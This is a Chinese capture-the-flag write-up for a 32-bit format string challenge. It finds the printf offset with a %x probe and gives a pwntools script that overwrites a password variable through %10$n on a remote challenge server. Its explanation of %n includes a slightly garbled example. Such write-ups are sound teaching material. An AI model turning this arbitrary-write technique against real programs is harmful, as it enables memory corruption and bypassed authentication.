首先checksec一下:
32位程序,有canary
放进ida里看一下:
先写入buf,随后又printf(buf),明显的格式化字符串漏洞。
再看一下程序流程:如果nptr也就是输入的密码和0x804c044下的数字相同,则成功。
因此我们可以通过%n来修改0x804c044上的数达到自己的目的。
首先了解一下什么是%n。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,例如:printf("0x44444444%2$n")意思就是说在打印出0x4444这个字符后,将“0x44444444”所输入的字符数量(此处是4)写入到%2$n所指的地址中.
因此,我们先利用AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x来找到printf参数存放地址:
A的ascll码为41,因此偏移值为10。
这样,我们可以先把0x804c044这个地址先写到偏移值为10的地址中,然后利用%10$n把4写入到这个地址中去,然后再将密码写为4就可以达到目的了。
exp:
from pwn import *
#r=process('./8')
r=remote('node3.buuoj.cn',26479)
target=0x804c044
pay=p32(target)+b'%10$n' #由于在%10$n之前已经写入了0x804C044 为4字节, 因此%10$n:将%10n之前printf已经打印的字符个数"4"赋值给偏移处指针所指向的地址位置
r.recvuntil(':')
r.sendline(pay)
#gdb.attach(r)
r.recvuntil(':')
r.sendline(str(4)) #写入了四字节,因此此处应写入4
r.interactive()
解出即可。